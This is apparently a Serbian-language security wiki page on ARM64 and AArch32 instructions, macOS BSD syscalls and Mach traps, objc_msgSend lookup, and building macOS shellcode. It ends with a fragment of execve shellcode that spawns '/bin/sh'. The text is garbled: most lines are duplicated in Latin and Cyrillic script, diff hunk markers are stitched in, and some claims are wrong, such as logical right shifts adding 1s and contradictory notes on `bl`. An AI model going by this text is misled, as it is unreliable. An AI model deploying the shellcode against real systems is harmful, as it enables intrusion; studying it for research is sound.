* **`b.ne`**: **Skok ako nije jednako**. Ova instrukcija proverava uslovne zastave (koje su postavljene prethodnom instrukcijom poređenja) i ako upoređene vrednosti nisu jednake, preskače do oznake ili adrese.
* Primer: Nakon `cmp x0, x1` instrukcije, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, preskače do `label`.
* **`cbz`**: **Uporedi i skoči ako je nula**. Ova instrukcija upoređuje registar sa nulom i ako su jednaki, preskače do oznake ili adrese.
* Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, preskače do `label`.
* **`cbnz`**: **Uporedi i skoči ako nije nula**. Ova instrukcija upoređuje registar sa nulom i ako nisu jednaki, preskače do oznake ili adrese.
* Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, preskače do `label`.
* **`tbnz`**: Testiranje bita i skok ako nije nula
* Primer: `tbnz x0, #8, label`
* **`tbz`**: Testiranje bita i skok ako je nula
* Primer: `tbz x0, #8, label`
* **Operacije uslovnog izbora**: Ovo su operacije čije ponašanje varira u zavisnosti od uslovnih bitova.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je tačno, X0 = X1, ako nije, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Ako je tačno, Xd = Xn + 1, ako nije, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = NIJE(Xm)
* `cinv Xd, Xn, cond` -> Ako je tačno, Xd = NIJE(Xn), ako nije, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = - Xm
* `cneg Xd, Xn, cond` -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Ako je tačno, Xd = 1, ako nije, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Ako je tačno, Xd = \<svi 1>, ako nije, Xd = 0
* **`adrp`**: Izračunava **adresu stranice simbola** i smešta je u registar.
* Primer: `adrp x0, symbol` — Ovo izračunava adresu stranice `symbol` i smešta je u `x0`.
* **`ldrsw`**: **Učitava** potpisanu **32-bitnu** vrednost iz memorije i **proširuje je na 64** bita.
* Primer: `ldrsw x0, [x1]` — Ovo učitava potpisanu 32-bitnu vrednost sa lokacije u memoriji na koju pokazuje `x1`, proširuje je na 64 bita i smešta je u `x0`.
* **`stur`**: **Čuva vrednost registra na lokaciji u memoriji**, koristeći pomeraj od drugog registra.
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`.
* **`svc`** : Pravi **sistemski poziv**. Označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, **prelazi iz korisničkog režima u režim jezgra** i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**.
* Primer:
* **Логичко померање налево**: Додајте 0 из краја померајући остале битове напред (множите са n-пута 2)
* **Логичко померање удесно**: Додајте 1 на почетку померајући остале битове назад (делите са n-пута 2 у непотписаним)
* **Аритметичко померање удесно**: Као **`lsr`**, али уместо додавања 0, ако је најзначајнији бит 1, **додају се 1** (делите са n-пута 2 у потписаним)
* **Померите удесно**: Као **`lsr`** али шта год да се уклони с десне стране, додаје се с леве
* **Померите удесно са проширењем**: Као **`ror`**, али са заставицом преноса као "најзначајнији бит". Дакле, преносна застава се помера на бит 31, а уклоњени бит у преносну заставу.
* **`bfm`**: **Премештање битова**, ове операције **копирају битове `0...n`** из вредности и стављају их у позиције **`m..m+n`**. **`#s`** одређује **леву најзначајнију позицију бита**, а **`#r`** количину ротације удесно.
* Премештање битова: `BFM Xd, Xn, #r`
* Потписано премештање битова: `SBFM Xd, Xn, #r, #s`
* Непотписано премештање битова: `UBFM Xd, Xn, #r, #s`
* **Извлачење и уметање битова:** Копира битно поље из регистра и копира га у други регистар.
* **`BFI X1, X2, #3, #4`** Уметните 4 бита из X2 из 3. бита X1
* **`BFXIL X1, X2, #3, #4`** Извлачи из 3. бита X2 четири бита и копира их у X1
* **`SBFIZ X1, X2, #3, #4`** Потписано проширује 4 бита из X2 и умета их у X1 почињући на позицији бита 3 нулирајући десне битове
* **`SBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на биту 3 из X2, потписано их проширује и ставља резултат у X1
* **`UBFIZ X1, X2, #3, #4`** Нулира 4 бита из X2 и умета их у X1 почињући на позицији бита 3 нулирајући десне битове
* **`UBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на биту 3 из X2 и ставља нулирано проширени резултат у X1.
* **Проширите знак на X:** Проширите знак (или само додајте 0 у непотписаној верзији) вредности да бисте могли да извршите операције с њом:
* **`SXTB X1, W2`** Проширите знак байта **из W2 у X1** (`W2` је половина `X2`) да попуните 64 бита
* **`SXTH X1, W2`** Проширите знак 16-битног броја **из W2 у X1** да попуните 64 бита
* **`SXTW X1, W2`** Проширите знак байта **из W2 у X1** да попуните 64 бита
* **`UXTB X1, W2`** Додаје 0 (непотписано) на байт **из W2 у X1** да попуните 64 бита
* **`extr`:** Извлачи битове из одређеног **пара регистара конкатенисаних**.
* Пример: `EXTR W3, W2, W1, #3` Ово ће **конкатенисати W1+W2** и добити **од бита 3 W2 до бита 3 W1** и сачувати у W3.
* **`cmp`**: **Поређење** два регистра и постављање условних заставица. То је **алиас `subs`** постављајући регистар дестинације на нулти регистар. Корисно за проверу да ли је `m == n`.
* Подржава **исту синтаксу као `subs`**
* Пример: `cmp x0, x1` — Ово пореди вредности у `x0` и `x1` и поставља условне заставице у складу с тим.
* **`cmn`**: **Поређење негативног** операнда. У овом случају је **алиас `adds`** и подржава исту синтаксу. Корисно за проверу да ли је `m == -n`.
* **`ccmp`**: Условно поређење, то је поређење које ће бити извршено само ако је претходно поређење било тачно и конкретно ће поставити nzcv битове.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ако x1 != x2 и x3 < x4, скочи на func
* Ово је зато што ће **`ccmp`** бити извршено само ако је **претходни `cmp` био `NE`**, ако није, битови `nzcv` ће бити постављени на 0 (што неће задовољити `blt` поређење).
* Ово се може користити и као `ccmn` (исто али негативно, као `cmp` против `cmn`).
* **`tst`**: Проверава да ли су било које од вредности поређења обе 1 (ради као ANDS без чувања резултата било где). Корисно је проверити регистар са вредношћу и проверити да ли је било који од битова регистра назначених у вредности 1.
* Пример: `tst X1, #7` Проверава да ли је било који од последња 3 бита X1 1
* **`teq`**: XOR операција без чувања резултата
* **`b`**: Непосредна грана
* Пример: `b myFunction`
* Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
* **`bl`**: **Гранка** са повратком, користи се за **позив** **подпрограма**. Чува **адресу повратка у `x30`**.
* Пример: `bl myFunction` — Ово позива функцију `myFunction` и чува адресу повратка у `x30`.
* Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
* **`blr`**: **Гранка** са повратком у регистар, користи се за **позив** **подпрограма** где је циљ **наведен** у **регистру**. Чува адресу повратка у `x30`. (Ово је
* Пример: `blr x1` — Ово позива функцију чија адреса је садржана у `x1` и чува адресу повратка у `x30`.
* **`ret`**: **Врати се** из **подпрограма**, обично користећи адресу у **`x30`**.
* Пример: `ret` — Ово се враћа из тренутног подпрограма користећи адресу повратка у `x30`.
* **`b.<cond>`**: Условне гране
* **`b.eq`**: **Гранка ако је једнако**, на основу претходне `cmp` инструкције.
* Пример: `b.eq label` — Ако је претходна `cmp` инструкција пронашла две једнаке вредности, ово скочи на `label`.
* **`b.ne`**: **Гранка ако није једнако**. Ова инструкција проверава условне заставице (које су постављене претходном инструкцијом поређења), и ако упоређиване вредности нису једнаке, грана се на ознаку или адресу.
* Пример: Након `cmp x0, x1` инструкције, `b.ne label` — Ако вредности у `x0` и `x1` нису једнаке, ово скочи на `label`.
* **`cbz`**: **Поређење и гранање на нулу**. Ова инструкција пореди регистар са нулом, и ако су једнаке, грана се на ознаку или адресу.
* Пример: `cbz x0, label` — Ако је вредност у `x0` нула, ово скочи на `label`.
* **`cbnz`**: **Поређење и гранање на ненуло**. Ова инструкција пореди регистар са нулом, и ако нису једнаке, грана се на ознаку или адресу.
* Пример: `cbnz x0, label` — Ако је вредност у `x0` ненула, ово скочи на `label`.
* **`tbnz`**: Тестирај бит и гранај на ненуло
* Пример: `tbnz x0, #8, label`
* **`tbz`**: Тестирај бит и гранај на нулу
* Пример: `tbz x0, #8, label`
* **Условне операције избора**: Ово су операције чије понашање варира у зависности од условних битова.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ако је тачно, X0 = X1, ако није, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Ако је тачно, Xd = Xn + 1, ако није, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = NOT(Xm)
* `cinv Xd, Xn, cond` -> Ако је тачно, Xd = NOT(Xn), ако није, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = - Xm
* `cneg Xd, Xn, cond` -> Ако је тачно, Xd = - Xn, ако није, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Ако је тачно, Xd = 1, ако није, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Ако је тачно, Xd = \<сви 1>, ако није, Xd = 0
* **`adrp`**: Израчунати **адресу странице симбола** и сачувати је у регистру.
* Пример: `adrp x0, symbol` — Ово израчунава адресу странице симбола `symbol` и чува је у `x0`.
* **`ldrsw`**: **Учитајте** потписану **32-битну** вредност из меморије и **потписано проширите на 64** бита.
* Пример: `ldrsw x0, [x1]` — Ово учитава потписану 32-битну вредност из меморијске локације на коју указује `x1`, потписано је проширује на 64 бита и чува у `x0`.
* **`stur`**: **Сачувајте вредност регистра на меморијској локацији**, користећи офсет из другог регистра.
* Пример: `stur x0, [x1, #4]` — Ово чува вредност у `x0` у меморијској адреси која је 4 бајта већа од адресе која се тренутно налази у `x1`.
* **`svc`** : Извршите **системски позив**. Ово значи "Позив супервизора". Када процесор извршава ову инструкцију, **прелази из корисничког режима у режим језгра** и скочи на одређену локацију у меморији где се налази **код за обраду системских позива језгра**.
* Пример:
```armasm
mov x8, 93 ; Učitava broj sistema za izlazak (93) u registar x8.
mov x0, 0 ; Učitava kod statusa izlaska (0) u registar x0.
svc 0 ; Pravi sistemski poziv.
mov x8, 93 ; Учитајте број системског позива за излаз (93) у регистар x8.
mov x0, 0 ; Учитајте код статуса излаза (0) у регистар x0.
svc 0 ; Извршите системски позив.
```
### **Prolog funkcije**
### **Пролог функције**
1. **Sačuvajte registar veze i pokazivač okvira na steku**:
{% code overflow="wrap" %}
1. **Сачувајте регистар за повратак и показивач оквира на стеку**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
{% endcode %}
2. **Postavite novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju)
3. **Alocirajte prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj bajtova potreban)
3. **Dodelite prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj bajtova koji su potrebni)
### **Epilog funkcije**
1. **Dealocirajte lokalne promenljive (ako su alocirane)**: `add sp, sp, <size>`
2. **Vratite registar veze i pokazivač okvira**:
{% code overflow="wrap" %}
1. **Dealokacija lokalnih promenljivih (ako su dodeljene)**: `add sp, sp, <size>`
2. **Obnovite registrator veze i pokazivač okvira**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
{% endcode %}
3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u registru veze)
3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru)
## Stanje izvršenja AARCH32
## AARCH32 Izvršni Stanje
Armv8-A podržava izvršenje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prelaziti između njih putem **`međusobnog rada`**.\
**Privilegovani** 64-bitni programi mogu zakazati **izvršenje 32-bitnih** programa izvršavanjem transfera nivoa izuzetka ka niže privilegovanom 32-bitnom programu.\
Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4 od** specijalnog registra **`SPSR_ELx`** na **1** kada je `AArch32` procesna nit spremna za izvršenje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva instrukciju **`ERET`** kako bi procesor prešao u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR\*\*.\*\*
Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prebacivati između njih putem **`interworking`**.\
**Privilegovani** 64-bitni programi mogu zakazati **izvršavanje 32-bitnih** programa izvršavanjem prenosa nivoa izuzetka na niže privilegovane 32-bitne.\
Napomena: prelazak sa 64-bitnog na 32-bitni se dešava sa smanjenjem nivoa izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršavanje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva **`ERET`** instrukciju tako da procesor prelazi na **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR\*\*.\*\*
**`Međusobni rad`** se dešava korišćenjem bitova J i T CPSR-a. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u osnovi prevodi na postavljanje **najnižeg bita na 1** kako bi se naznačilo da je skup instrukcija T32.\
Ovo se postavlja tokom **instrukcija grana međusobnog rada,** ali može biti postavljeno direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
**`Interworking`** se dešava korišćenjem J i T bitova CPSR. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se suštinski prevodi na postavljanje **najnižeg bita na 1** da označi da je skup instrukcija T32.\
Ovo se postavlja tokom **interworking grana instrukcija,** ali se takođe može postaviti direktno sa drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
Još jedan primer:
```armasm
@ -284,60 +281,60 @@ mov r0, #8
```
### Registri
Postoje 16 registara od 32 bita (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih obično su rezervisani:
Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih su obično rezervisani:
- **`r15`**: Brojač programa (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutno + 8, u T32, trenutno + 4.
- **`r11`**: Pokazivač okvira
- **`r12`**: Registar za unutarproceduralne pozive
- **`r13`**: Pokazivač steka
- **`r14`**: Registar za povezivanje
* **`r15`**: Program counter (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutni + 8, u T32, trenutni + 4.
* **`r11`**: Frame Pointer
* **`r12`**: Intra-procedural call register
* **`r13`**: Stack Pointer
* **`r14`**: Link Register
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** procesorskog moda u koji se preuzima izuzetak. Prilikom povratka iz izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**.
Pored toga, registri su podržani u **`banked registries`**. To su mesta koja čuvaju vrednosti registara, omogućavajući **brzo prebacivanje konteksta** u obradi izuzetaka i privilegovanih operacija kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
To se postiže **čuvanjem stanja procesora iz `CPSR` u `SPSR`** režima procesora u kojem se izuzetak dešava. Kada se izuzetak vrati, **`CPSR`** se vraća iz **`SPSR`**.
### CPSR - Trenutni registar statusa programa
### CPSR - Registro trenutnog statusa programa
U AArch32, CPSR radi slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se preuzme izuzetak radi kasnijeg obnavljanja izvršenja:
U AArch32 CPSR funkcioniše slično **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se izuzetak dešava kako bi se kasnije obnovila izvršenja:
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
Polja su podeljena u neke grupe:
Polja su podeljena u nekoliko grupa:
- Registar statusa aplikacije (APSR): Aritmetičke zastavice i pristupačne iz EL0
- Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).
* Registro statusa aplikacionog programa (APSR): Aritmetičke zastavice i dostupne iz EL0
* Registrovi stanja izvršenja: Ponašanje procesa (u upravljanju od strane OS-a).
#### Registar statusa aplikacije (APSR)
#### Registro statusa aplikacionog programa (APSR)
- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64)
- Zastava **`Q`**: Postavlja se na 1 kada se **desi zasićenje celobrojnih vrednosti** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržava vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, već se to mora uraditi čitanjem ručno.
- **`GE`** (Veće ili jednako) zastave: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji.
* Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (poput AArch64)
* Zastavica **`Q`**: Postavlja se na 1 kada god **dođe do saturacije celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije sa saturacijom. Kada se postavi na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, to se mora uraditi čitanjem ručno.
* **`GE`** (Veće ili jednako) Zastavice: Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, kao što su "paralelno sabiranje" i "paralelno oduzimanje". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji.
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastave u `APSR`** na osnovu ovih rezultata. Svaka GE zastava odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**.
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prelilo**.
Instrukcija **`SEL`** koristi ove GE zastave za izvođenje uslovnih radnji.
Instrukcija **`SEL`** koristi ove GE zastavice za izvršavanje uslovnih akcija.
#### Registri stanja izvršenja
#### Registrovi stanja izvršenja
- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
- Registar stanja IT bloka (`ITSTATE`): To su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
- Bit **`E`**: Označava **endianness**.
- Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Postavljeni broj označava **trenutni prioritet** u slučaju da se desi još jedan izuzetak dok se ovaj rukuje.
* Zastavice **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
* **IT Block State Register** (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
* **`E`** bit: Ukazuje na **endianness**.
* **Bitovi režima i maske izuzetaka** (0-4): Određuju trenutno stanje izvršenja. **5.** označava da li program radi kao 32bit (1) ili 64bit (0). Ostala 4 predstavljaju **režim izuzetka koji se trenutno koristi** (kada se izuzetak dešava i obrađuje). Broj postavljen **ukazuje na trenutni prioritet** u slučaju da se drugi izuzetak pokrene dok se ovaj obrađuje.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ). i F je povezan sa **brzim zahtevima za prekidima** (FIR).
* **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će **asinkroni aborti** biti pokrenuti. **`I`** konfiguriše odgovor na spoljne hardverske **Interrupts Requests** (IRQs). a F se odnosi na **Fast Interrupt Requests** (FIRs).
## macOS
### BSD sistemski pozivi
### BSD syscalls
Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD sistemski pozivi će imati **x16 > 0**.
Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls će imati **x16 > 0**.
### Mach zamke
### Mach Traps
Pogledajte u [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` i u [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototipove. Maksimalan broj Mach zamki je `MACH_TRAP_TABLE_COUNT` = 128. Mach zamke će imati **x16 < 0**, pa je potrebno pozvati brojeve sa prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**.
Pogledajte u [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` i u [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototipove. Maksimalni broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, tako da treba da pozovete brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**.
Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako pozvati ove (i BSD) sistemski pozivi:
Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako da pozovete ove (i BSD) syscalls:
{% code overflow="wrap" %}
```bash
@ -349,31 +346,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
```
{% endcode %}
Napomena da **Ida** i **Ghidra** takođe mogu dekompilirati **specifične dylibs** iz keša jednostavno prolazeći kroz keš.
{% hint style="success" %}
Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer je kod nekoliko sistemskih poziva (BSD i Mach) generisan putem skripti (proverite komentare u izvornom kodu), dok u dylib datoteci možete pronaći šta se poziva.
Ponekad je lakše proveriti **dekompilirani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko syscalls (BSD i Mach) generiše putem skripti (proverite komentare u izvoru) dok u dylib-u možete pronaći šta se poziva.
{% endhint %}
### machdep pozivi
XNU podržava još jednu vrstu poziva nazvanih zavisnih od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu zagarantovani da će ostati konstantni.
XNU podržava još jedan tip poziva koji se naziva zavistan od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu garantovani da ostanu konstantni.
### comm stranica
Ovo je stranica memorije vlasništvo jezgra koja je mapirana u adresni prostor svakog korisničkog procesa. Namena joj je da ubrza prelazak iz režima korisnika u prostor jezgra brže nego korišćenjem sistemskih poziva za jezgrene usluge koje se toliko koriste da bi taj prelazak bio veoma neefikasan.
Ovo je stranica memorije koju poseduje kernel i koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelazak iz korisničkog moda u kernel prostor brže nego korišćenje syscalls za kernel usluge koje se toliko koriste da bi ovaj prelazak bio veoma neefikasan.
Na primer, poziv `gettimeofdate` čita vrednost `timeval` direktno sa comm stranice.
### objc\_msgSend
Veoma je često naći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.
Veoma je uobičajeno pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.
Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Pokazivač na instancu
* x1: op -> Selektor metode
* x2... -> Ostali argumenti pozvane metode
* x2... -> Ostatak argumenata pozvane metode
Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb- u (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će pokrenuti komandu):
Dakle, ako stavite breakpoint pre grananja na ovu funkciju, lako možete pronaći šta se poziva u lldb sa (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -392,32 +391,32 @@ whoami
)
```
{% hint style="success" %}
Postavljanjem env promenljive **`NSObjCMessageLoggingEnabled=1`** moguće je zabeležiti kada je ova funkcija pozvana u datoteci poput `/tmp/msgSends-pid`.
Postavljanjem env varijable **`NSObjCMessageLoggingEnabled=1`** moguće je logovati kada se ova funkcija poziva u datoteci kao što je `/tmp/msgSends-pid`.
Osim toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge okoline promenljive koje biste mogli koristiti za **zabeležavanje** kada se određene Objc-C akcije dese.
Pored toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge varijable okruženja koje možete koristiti da **log** kada se određene Objc-C akcije dešavaju.
{% endhint %}
Kada je ova funkcija pozvana, potrebno je pronaći pozvanu metodu naznačene instance, za to se vrše različite pretrage:
Kada se ova funkcija pozove, potrebno je pronaći pozvanu metodu označene instance, za to se vrše različite pretrage:
* Izvršiti optimističku pretragu keša:
* Ako je uspešno, završeno
* Steći runtimeLock (čitanje)
* Ako (realizovati && !cls->realized) realizovati klasu
* Ako (inicijalizovati && !cls->initialized) inicijalizovati klasu
* Pokušati sa kešom klase:
* Ako je uspešno, završeno
* Pokušati sa listom metoda klase:
* Ako je pronađeno, popuniti keš i završeno
* Pokušati sa kešom nadklase:
* Ako je uspešno, završeno
* Pokušati sa listom metoda nadklase:
* Ako je pronađeno, popuniti keš i završeno
* Ako (resolver) pokušati sa rešavačem metoda, i ponoviti od pretrage klase
* Ako ste i dalje ovde (= sve ostalo nije uspelo) pokušati sa preusmerivačem
* Izvršiti optimističku pretragu u kešu:
* Ako je uspešno, gotovo
* Zauzeti runtimeLock (čitanje)
* Ako (realize && !cls->realized) realizovati klasu
* Ako (initialize && !cls->initialized) inicijalizovati klasu
* Pokušati keš klase:
* Ako je uspešno, gotovo
* Pokušati listu metoda klase:
* Ako je pronađeno, popuniti keš i gotovo
* Pokušati keš superklase:
* Ako je uspešno, gotovo
* Pokušati listu metoda superklase:
* Ako je pronađeno, popuniti keš i gotovo
* Ako (resolver) pokušati metodu resolver, i ponoviti od pretrage klase
* Ako ste još ovde (= sve ostalo je propalo) pokušati forwarder
### Shellkodovi
### Shellcodes
Za kompilaciju:
Za kompajliranje:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -425,14 +424,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Da izvučemo bajtove:
Da biste izvukli bajtove:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
Za novije macOS:
За новије macOS:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -441,7 +440,7 @@ done
```
<details>
<summary>C kod za testiranje shell koda</summary>
<summary>C kod za testiranje shellcode-a</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -558,7 +557,10 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
#### Čitanje pomoću cat
